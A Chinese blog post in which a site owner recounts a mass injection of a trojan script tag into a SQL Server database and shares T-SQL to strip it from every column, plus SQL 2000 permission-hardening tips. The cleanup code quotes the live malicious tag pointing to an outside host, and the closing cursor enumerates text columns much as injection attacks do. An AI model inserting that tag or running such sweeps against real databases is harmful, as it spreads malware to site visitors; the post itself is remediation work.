zoukankan      html  css  js  c++  java
  • SQL数据库表防JS木马注入

    今天早上,打开网站一看,发现在自己的网站里面的图片全部不显示了,取而代之的是一串木马网址,被黑!

    经过一整天的处理现在算是正常运转了,先将些许代码整理如下:

    首先打开数据库后,发现所有的数据字段中每个字段都被插入了木马网址,整个网站三十多张表,每张表N个字段,手工删除肯定是麻烦之极,经过整理写出来了一段替换字符

    代码
    ----------------------替换数据表中每个字符段内中的特殊值------------------------
    --鉴于获取数据表的列表数据时候经常需要获取字段名称。特整理了下如下代码。
    --适用场合:设计或者更新SQL存储过程的Select语句或者Insert语句
    --返回字符串格式类似于:"ID,BeginTime,EndTime,AddIP,UpdateUser,UpdateTime,UpdateIP"
    --Select name from syscolumns Where ID=OBJECT_ID('数据表名称')
    --定义数据表名称
    Declare @TargetTableName nvarchar(
    250)
    Set @TargetTableName
    ='表名称'
    --定义列总数
    Declare @TotleColumns
    int
    select @TotleColumns
    =Count(*) from syscolumns Where ID=OBJECT_ID(@TargetTableName)
    --print @TotleColumns
    --select * from syscolumns Where ID=OBJECT_ID(@TargetTableName)
    --定义所有字段名称字符串
    Declare @ColumnsString nvarchar(
    4000)
    Declare @TempName nvarchar(
    4000)
    set @ColumnsString=''
    set @TempName=''
    declare @i
    int
    set @i=2
    while @i<=@TotleColumns
    begin
    select @TempName
    =Name from syscolumns Where ID=OBJECT_ID(@TargetTableName) and colOrder=@i
    exec(
    'UPDATE '+@TargetTableName+' SET '+ @TempName+'= replace('+ @TempName+',''<script src=http://makeupcn.cn/x.js></script>'','''')'
    )
    -- Set @ColumnsString=@ColumnsString+','+@TempName
    set @i=@i+1
    end
    -- 显示结果
    exec(
    'select * from '+ @TargetTableName
    )

    本来想使用游标实现整个数据库的遍历,由于时间紧凑,就手动的一张张表进行筛选。

    对于数据库安全性的解决之道:

    sql 2000的做法:

    1、不要使用sa用户连接数据库

    2、新建一个public权限数据库用户,并用这个访问数据库

    3、[角色]去掉角色public对sysobjects与syscolumns对象的select访问权限 
    4、[用户]用户名称-> 右键-属性-权限-在sysobjects与syscolumns上面打“×” 
    5、通过以下代码检测(失败表示权限正确,如能显示出来则表明权限太高):
       DECLARE @T varchar(255),
       @C varchar(255)
       DECLARE Table_Cursor CURSOR FOR
       Select a.name,b.name from sysobjects a,syscolumns b
       where a.id=b.id and a.xtype= 'u ' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
       OPEN Table_Cursor
       FETCH NEXT FROM Table_Cursor INTO @T,@C
       WHILE(@@FETCH_STATUS=0)
       BEGIN print @c
       FETCH NEXT FROM Table_Cursor INTO @T,@C
       END
       CLOSE Table_Cursor
       DEALLOCATE Table_Cursor
    恩,就是这样了,但愿该木马不要再来兴风作浪

  • 相关阅读:
    Sublime Text 命令大全(积累所得)
    端口号
    帝之意志 看透世间
    Session and Cookie的基础用法
    厌胜术
    微信支付
    微信登录
    navicat常用快捷键与SQL基本使用
    idea Spring项目一直报错,但是点击进去就恢复正常了,解决办法,通过mvn idea:module命令生成iml文件
    解决报错WARNING: IPv4 forwarding is disabled. Networking will not work.
  • 原文地址:https://www.cnblogs.com/zhijianliutang/p/1918034.html
Copyright © 2011-2022 走看看